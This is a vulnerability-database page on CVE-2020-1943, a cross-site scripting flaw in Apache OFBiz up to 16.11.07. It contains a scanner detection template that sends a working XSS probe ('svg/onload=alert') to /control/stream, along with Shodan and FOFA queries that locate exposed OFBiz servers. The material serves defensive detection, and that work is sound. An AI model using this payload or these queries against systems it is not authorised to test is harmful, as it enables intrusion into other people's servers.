Apache OFBiz <=16.11.07 - Cross-Site Scripting
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
 | CVE-2020-1943 | 5 Feb 202500:00 | – | circl |
 | Apache OFBiz Cross-Site Scripting Vulnerability (CNVD-2020-16521) | 9 Mar 202000:00 | – | cnvd |
 | Web Servers Cross-Site Scripting Attempt (CVE-2020-10820; CVE-2020-10821; CVE-2020-11930; CVE-2020-12256; CVE-2020-12259; CVE-2020-1943; CVE-2020-2096) | 20 Dec 202000:00 | – | checkpoint_advisories |
 | CVE-2020-1943 | 1 Apr 202018:18 | – | cve |
 | CVE-2020-1943 | 1 Apr 202018:18 | – | cvelist |
 | CVE-2020-1943 | 1 Apr 202019:15 | – | nvd |
 | CVE-2020-1943 | 1 Apr 202019:15 | – | osv |
 | Code injection | 1 Apr 202019:15 | – | prion |
 | PT-2020-15180 · Apache · Apache Ofbiz | 1 Apr 202000:00 | – | ptsecurity |
 | CVE-2020-1943: Improper Neutralization of Input During Web Page Generation | 1 Apr 202000:00 | – | rapid7 |
10
id: CVE-2020-1943
info:
name: Apache OFBiz <=16.11.07 - Cross-Site Scripting
author: pdteam
severity: medium
description: Apache OFBiz 16.11.01 to 16.11.07 is vulnerable to cross-site scripting because data sent with contentId to /control/stream is not sanitized.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade Apache OFBiz to a version higher than 16.11.07 to mitigate this vulnerability.
reference:
- https://lists.apache.org/thread.html/rf867d9a25fa656b279b16e27b8ff6fcda689cfa4275a26655c685702%40%3Cdev.ofbiz.apache.org%3E
- https://s.apache.org/pr5u8
- https://lists.apache.org/thread.html/r034123f2767830169fd04c922afb22d2389de6e2faf3a083207202bc@%3Ccommits.ofbiz.apache.org%3E
- https://lists.apache.org/thread.html/r8efd5b62604d849ae2f93b2eb9ce0ce0356a4cf5812deed14030a757@%3Cdev.ofbiz.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2020-1943
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-1943
cwe-id: CWE-79
epss-score: 0.97309
epss-percentile: 0.99896
cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: ofbiz
shodan-query:
- http.html:"ofbiz"
- ofbiz.visitor=
fofa-query:
- body="ofbiz"
- app="apache_ofbiz"
tags: cve2020,cve,apache,xss,ofbiz,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/control/stream?contentId=%27\%22%3E%3Csvg/onload=alert(/xss/)%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<svg/onload=alert(/xss/)>"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a00463044022034d5c06fd7a732faf12fac5c7cc7890c1053ce6d97b49ffc9a0a97d41031027e02201a93dd02ceb93e55a4b2aa633df47b584a7258667b5ca6a0184dc3a6ce581274:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 24.3
CVSS 3.16.1
EPSS0.97309